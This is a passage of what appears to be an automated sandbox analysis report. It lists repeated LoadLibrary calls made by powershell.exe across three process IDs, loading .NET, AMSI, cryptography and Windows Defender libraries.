00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007296) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001292) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00008120) "powershell.exe" called "LoadLibrary" with a parameter 